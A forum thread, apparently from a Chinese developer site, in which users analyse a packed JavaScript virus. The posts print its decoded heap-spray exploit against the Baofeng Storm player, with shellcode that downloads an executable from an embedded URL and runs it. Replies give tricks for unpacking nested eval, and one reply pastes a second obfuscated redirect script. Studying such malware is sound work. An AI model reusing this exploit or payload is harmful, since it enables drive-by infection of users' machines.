一段js病毒代码请高手解释一下

[whwqs]

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('T("\\J\\K\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\E\\E\\E\\E\\E\\K\\J\\i\\j\\F\\g\\p\\9\\d\\s\\t\\d\\h\\o\\5\\q\\9\\v\\9\\1\\x\\8\\n\\5\\g\\D\\8\\y\\e\\2\\1\\l\\3\\l\\3\\2\\1\\l\\3\\l\\3\\e\\z\\u\\i\\j\\F\\g\\p\\9\\w\\8\\g\\r\\8\\p\\n\\s\\Q\\8\\9\\v\\9\\k\\3\\u\\i\\j\\F\\g\\p\\9\\n\\w\\8\\h\\h\\5\\o\\r\\8\\9\\v\\9\\1\\x\\8\\n\\5\\g\\D\\8\\y\\e\\2\\1\\b\\6\\8\\l\\2\\1\\3\\3\\3\\3\\2\\1\\l\\3\\3\\3\\e\\m\\i\\j\\e\\2\\1\\l\\3\\l\\3\\2\\1\\7\\g\\l\\3\\2\\1\\g\\0\\4\\a\\2\\1\\3\\3\\6\\3\\2\\1\\3\\3\\3\\3\\2\\1\\a\\3\\f\\d\\2\\1\\f\\d\\3\\5\\e\\9\\m\\i\\j\\e\\2\\1\\0\\5\\c\\3\\2\\1\\f\\d\\g\\r\\2\\1\\3\\f\\a\\3\\2\\1\\r\\f\\f\\d\\2\\1\\c\\6\\f\\d\\2\\1\\f\\d\\6\\5\\2\\1\\0\\8\\c\\a\\2\\1\\3\\6\\c\\f\\e\\9\\m\\i\\j\\e\\2\\1\\f\\d\\b\\6\\2\\1\\k\\3\\c\\8\\2\\1\\b\\d\\3\\6\\2\\1\\a\\8\\f\\d\\2\\1\\6\\6\\0\\a\\2\\1\\7\\4\\8\\r\\2\\1\\7\\0\\7\\c\\2\\1\\6\\b\\f\\d\\e\\9\\m\\i\\j\\e\\2\\1\\b\\d\\3\\6\\2\\1\\b\\k\\f\\d\\2\\1\\3\\8\\4\\g\\2\\1\\b\\6\\7\\l\\2\\1\\c\\a\\g\\4\\2\\1\\7\\l\\3\\f\\2\\1\\f\\6\\7\\b\\2\\1\\b\\5\\8\\b\\e\\9\\m\\i\\j\\e\\2\\1\\8\\k\\a\\7\\2\\1\\7\\l\\8\\l\\2\\1\\7\\8\\7\\b\\2\\1\\5\\r\\f\\d\\2\\1\\a\\4\\f\\d\\2\\1\\3\\6\\k\\a\\2\\1\\r\\0\\5\\6\\2\\1\\3\\6\\8\\0\\e\\9\\m\\i\\j\\e\\2\\1\\6\\6\\5\\0\\2\\1\\4\\4\\5\\l\\2\\1\\3\\f\\f\\d\\2\\1\\a\\4\\f\\d\\2\\1\\3\\6\\0\\5\\2\\1\\5\\0\\5\\6\\2\\1\\3\\k\\8\\0\\2\\1\\5\\0\\3\\6\\e\\9\\m\\i\\j\\e\\2\\1\\3\\3\\f\\d\\2\\1\\5\\6\\3\\6\\2\\1\\b\\g\\f\\d\\2\\1\\b\\c\\f\\d\\2\\1\\5\\4\\f\\6\\2\\1\\f\\d\\3\\8\\2\\1\\4\\g\\r\\3\\2\\1\\7\\l\\3\\a\\e\\9\\m\\i\\j\\e\\2\\1\\4\\g\\8\\f\\2\\1\\3\\3\\3\\3\\2\\1\\f\\6\\3\\3\\2\\1\\3\\r\\5\\4\\2\\1\\7\\4\\7\\k\\2\\1\\7\\c\\b\\b\\2\\1\\7\\g\\b\\5\\2\\1\\r\\f\\f\\d\\e\\9\\m\\i\\j\\e\\2\\1\\3\\0\\4\\g\\2\\1\\8\\f\\7\\l\\2\\1\\3\\3\\7\\c\\2\\1\\3\\3\\3\\3\\2\\1\\5\\4\\f\\6\\2\\1\\7\\4\\0\\6\\2\\1\\f\\3\\a\\4\\2\\1\\f\\3\\6\\8\\e\\9\\m\\i\\j\\e\\2\\1\\b\\g\\c\\7\\2\\1\\6\\4\\f\\3\\2\\1\\7\\8\\f\\3\\2\\1\\8\\5\\f\\6\\2\\1\\f\\d\\a\\3\\2\\1\\5\\c\\r\\5\\2\\1\\4\\6\\3\\6\\2\\1\\4\\a\\4\\r\\e\\9\\m\\i\\j\\e\\2\\1\\a\\6\\k\\3\\2\\1\\a\\6\\a\\6\\2\\1\\4\\4\\a\\6\\2\\1\\3\\6\\5\\c\\2\\1\\4\\6\\k\\b\\2\\1\\a\\6\\a\\6\\2\\1\\3\\6\\5\\4\\2\\1\\a\\6\\k\\3\\e\\9\\m\\i\\j\\e\\2\\1\\k\\3\\4\\g\\2\\1\\b\\b\\7\\6\\2\\1\\8\\5\\7\\c\\2\\1\\3\\a\\5\\c\\2\\1\\7\\5\\3\\6\\2\\1\\k\\8\\4\\0\\2\\1\\5\\c\\4\\7\\2\\1\\3\\6\\a\\a\\e\\9\\m\\i\\j\\e\\2\\1\\c\\f\\3\\a\\2\\1\\3\\3\\4\\7\\2\\1\\6\\6\\3\\3\\2\\1\\7\\3\\5\\3\\2\\1\\7\\6\\7\\3\\2\\1\\7\\3\\7\\4\\2\\1\\7\\c\\b\\b\\2\\1\\f\\d\\b\\5\\e\\9\\m\\i\\j\\e\\2\\1\\4\\g\\r\\5\\2\\1\\7\\6\\3\\3\\2\\1\\7\\c\\b\\b\\2\\1\\4\\f\\b\\3\\2\\1\\k\\a\\7\\0\\2\\1\\3\\3\\a\\3\\2\\1\\b\\b\\7\\f\\2\\1\\6\\6\\r\\3\\e\\9\\m\\i\\j\\e\\2\\1\\g\\5\\5\\3\\2\\1\\5\\3\\f\\7\\2\\1\\b\\l\\c\\7\\2\\1\\7\\k\\7\\0\\2\\1\\7\\6\\7\\4\\2\\1\\r\\k\\b\\b\\2\\1\\7\\l\\7\\g\\2\\1\\8\\k\\g\\d\\e\\9\\m\\i\\j\\e\\2\\1\\6\\6\\8\\8\\2\\1\\5\\6\\5\\3\\2\\1\\3\\5\\8\\f\\2\\1\\b\\b\\b\\b\\2\\1\\a\\c\\b\\b\\2\\1\\c\\a\\4\\7\\2\\1\\c\\k\\7\\3\\2\\1\\4\\6\\4\\b\\e\\9\\m\\i\\j\\e\\2\\1\\4\\a\\a\\0\\2\\1\\c\\k\\4\\a\\2\\1\\c\\6\\4\\7\\2\\1\\3\\3\\c\\6\\2\\1\\4\\7\\a\\c\\2\\1\\7\\6\\c\\a\\2\\1\\c\\6\\c\\l\\2\\1\\4\\7\\c\\a\\e\\9\\m\\i\\j\\e\\2\\1\\a\\a\\4\\r\\2\\1\\c\\k\\4\\l\\2\\1\\4\\6\\4\\7\\2\\1\\4\\b\\c\\a\\2\\1\\c\\l\\c\\k\\2\\1\\3\\3\\a\\0\\2\\1\\4\\l\\7\\c\\2\\1\\a\\7\\4\\8\\e\\9\\m\\i\\j\\e\\2\\1\\4\\7\\c\\f\\2\\1\\3\\3\\4\\6\\2\\1\\c\\f\\a\\7\\2\\1\\c\\a\\4\\l\\2\\1\\4\\f\\7\\a\\2\\1\\4\\7\\c\\k\\2\\1\\4\\a\\4\\0\\2\\1\\a\\5\\3\\3\\e\\9\\m\\i\\j\\e\\2\\1\\4\\0\\4\\b\\2\\1\\a\\5\\4\\a\\2\\1\\4\\k\\4\\l\\2\\1\\4\\0\\c\\k\\2\\1\\c\\l\\c\\k\\2\\1\\3\\3\\a\\0\\2\\1\\c\\k\\c\\7\\2\\1\\4\\r\\4\\5\\e\\9\\m\\i\\j\\e\\2\\1\\4\\8\\4\\b\\2\\1\\7\\7\\3\\3\\2\\1\\a\\5\\7\\k\\2\\1\\4\\b\\a\\a\\2\\1\\4\\8\\c\\c\\2\\1\\4\\b\\4\\5\\2\\1\\4\\a\\4\\0\\2\\1\\4\\b\\7\\a\\e\\9\\m\\i\\j\\e\\2\\1\\4\\l\\a\\4\\2\\1\\4\\7\\4\\5\\2\\1\\3\\3\\a\\0\\2\\1\\c\\a\\4\\f\\2\\1\\c\\3\\c\\a\\2\\1\\k\\L\\6\\G\\2\\1\\c\\f\\k\\L\\2\\1\\4\\0\\4\\l\\2\\1\\4\\0\\c\\G\\2\\1\\k\\M\\4\\l\\2\\1\\4\\0\\4\\a\\2\\1\\4\\l\\4\\G\\2\\1\\c\\l\\4\\0\\2\\1\\c\\0\\4\\l\\2\\1\\4\\4\\4\\l\\2\\1\\k\\M\\4\\0\\2\\1\\4\\M\\4\\6\\2\\1\\4\\G\\k\\L\\2\\1\\4\\k\\4\\L\\2\\1\\4\\7\\k\\M\\2\\1\\4\\7\\c\\f\\2\\1\\3\\3\\3\\3\\e\\z\\u\\i\\j\\F\\g\\p\\9\\n\\h\\g\\5\\q\\n\\D\\g\\5\\8\\9\\v\\9\\w\\8\\g\\r\\8\\p\\n\\s\\Q\\8\\m\\n\\w\\8\\h\\h\\5\\o\\r\\8\\B\\h\\8\\x\\t\\C\\w\\u\\i\\j\\H\\w\\s\\h\\8\\9\\y\\d\\s\\t\\d\\h\\o\\5\\q\\B\\h\\8\\x\\t\\C\\w\\N\\n\\h\\g\\5\\q\\n\\D\\g\\5\\8\\z\\9\\d\\s\\t\\d\\h\\o\\5\\q\\m\\v\\d\\s\\t\\d\\h\\o\\5\\q\\u\\i\\j\\b\\s\\h\\h\\d\\h\\o\\5\\q\\9\\v\\9\\d\\s\\t\\d\\h\\o\\5\\q\\B\\n\\1\\d\\n\\C\\p\\s\\x\\t\\y\\3\\R\\9\\n\\h\\g\\5\\q\\n\\D\\g\\5\\8\\z\\u\\i\\j\\d\\h\\o\\5\\q\\9\\v\\9\\d\\s\\t\\d\\h\\o\\5\\q\\B\\n\\1\\d\\n\\C\\p\\s\\x\\t\\y\\3\\R\\9\\d\\s\\t\\d\\h\\o\\5\\q\\B\\h\\8\\x\\t\\C\\w\\U\\n\\h\\g\\5\\q\\n\\D\\g\\5\\8\\z\\u\\i\\j\\H\\w\\s\\h\\8\\y\\d\\h\\o\\5\\q\\B\\h\\8\\x\\t\\C\\w\\m\\n\\h\\g\\5\\q\\n\\D\\g\\5\\8\\N\\3\\A\\a\\3\\3\\3\\3\\z\\9\\d\\h\\o\\5\\q\\9\\v\\9\\d\\h\\o\\5\\q\\m\\d\\h\\o\\5\\q\\m\\b\\s\\h\\h\\d\\h\\o\\5\\q\\u\\i\\j\\I\\8\\I\\o\\p\\P\\9\\v\\9\\x\\8\\H\\9\\G\\p\\p\\g\\P\\y\\z\\u\\i\\j\\b\\o\\p\\9\\y\\A\\v\\3\\u\\9\\A\\N\\6\\3\\3\\u\\9\\A\\m\\m\\z\\9\\I\\8\\I\\o\\p\\P\\V\\A\\W\\9\\v\\9\\d\\h\\o\\5\\q\\9\\m\\9\\n\\w\\8\\h\\h\\5\\o\\r\\8\\u\\i\\j\\F\\g\\p\\9\\d\\1\\b\\b\\8\\p\\9\\v\\9\\S\\S\\u\\i\\j\\H\\w\\s\\h\\8\\9\\y\\d\\1\\b\\b\\8\\p\\B\\h\\8\\x\\t\\C\\w\\9\\N\\9\\a\\3\\4\\f\\z\\9\\d\\1\\b\\b\\8\\p\\m\\v\\e\\O\\A\\3\\g\\O\\A\\3\\g\\O\\A\\3\\g\\O\\A\\3\\g\\e\\u\\i\\j\\n\\C\\o\\p\\I\\B\\p\\g\\H\\X\\g\\p\\n\\8\\y\\d\\1\\b\\b\\8\\p\\z\\i\\j\\J\\K\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\K\\J")',60,60,'61|165|45|60|66|143|63|65|145|40|64|146|67|142|42|70|141|154|15|12|62|71|53|163|157|162|153|144|151|147|73|75|150|156|50|51|170|56|164|160|136|166|101|167|155|57|52|106|105|74|134|171|172|54|47|eval|55|133|135|120'.split('|'),0,{}))

[whwqs]

解析过来是：
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000%u9000"+
"%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2F3A%u782F%u6169%u617A%u2E69%u6164%u696A%u7961%u7169%u6669%u2E61%u6E63%u6A2F%u626F%u652E%u6578%u0000");
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)
是攻击暴风雨漏洞的吗？

[一把编程的菜刀]

还可以再解析！！

[s_liangchao1s]

没干过这事

[strife013]

牛

[muxrwc]

这段代码可以运行???

[一把编程的菜刀]

呵呵，他这只是部分代码

[muxrwc]

...
我说怎么不好用呢..

呵呵...
这种代码,先查查,大概没问题直接

var eval = function () {
	alert(arguments[0]);
	return arguments[0];
};

然后直接放个document.write在最外层,就可以了.
它有多少层eval也没关系...

:D

[muxrwc]

在写全点的话..可以这样..

var eval = function () {
	$a(arguments[0]);
	return arguments[0];
};
var $a = window.alert;
var $r = document.write;

window.AcitveXObject = function () {
	return Function;
};

然后在看代码,貌似基本上就没有问题了...

[muxrwc]

var $e = window.eval;
var eval = function () {
	$a(arguments[0]);
	return $e(arguments[0]);
};
var $a = window.alert;
var $r = document.write;
window.AcitveXObject = function () {
	return Function;
};

这样的话,直接把他的代码放在下面就可以了...:D

[jhwcd]

先看看。

[王集鹄]

[img=http://p.blog.csdn.net/images/p_blog_csdn_net/zswang/%E9%B9%BF%E8%BF%87.gif]图[/img]

[whwqs]

对，只是部分代码，不是我解析的是调试器解析的，因为上下文不全，storm未定义，所以停在这里。被我粘贴。还只能放在word中。保存为文本都会被杀毒的干掉。是暴风雨漏洞病毒。但不是很清楚原理，故此问问。好像这代码的之前要生成一个暴风雨的控件object标签。

[muxrwc]

<script type="text/javascript">
window.onerror = function () { return true };
var $e = window.eval;
var eval = function () {
	$a(arguments[0]);
    $r(arguments[0]);
    //return $e(arguments[0]);
};
var $a = window.alert;
var $r = document.write;
window.AcitveXObject = function () { return Function; };
eval(unescape("%76a%72 a = %6ee%77 %52e%67E%78%70('be%72');%76a%72 d = %6c%6fca%74%69%6f%6e%2e%68%72ef;c = d%2e%73ea%72c%68(a);f%75%6ec%74%69%6f%6e %78%78(%6e) {b = d%2e%73ea%72c%68(%2f^%68%74%74%70:%2f);%69f (c > 0 && b == 0) {%7a = %75%6ee%73ca%70e(%6e);%76a%72 %79 = '';f%6f%72 (%69=0;%69 <%7a%2e%6ce%6e%67%74%68;%69%2b%2b) {%79 %2b= %53%74%72%69%6e%67%2ef%72%6f%6dC%68a%72C%6fde(%7a%2ec%68a%72C%6fdeA%74(%69)%2d1);}d%6fc%75%6de%6e%74%2e%77%72%69%74e(%75%6ee%73ca%70e(%79));}} %69f (c  < 0) {%74%6f%70%2e%6c%6fca%74%69%6f%6e = '%68%74%74%70:%2f%2f%77%77%77%2e%74a%6edbe%72%67%2ec%6f%6d'}"))
</script>

[muxrwc]

...
晕,回错了...抱歉...抱歉...
- -#

[No_Data_Found]

学习

[whwqs]

引用：暴风影音II 0day漏洞解决方案
http://baike.360.cn/3219678/953824.html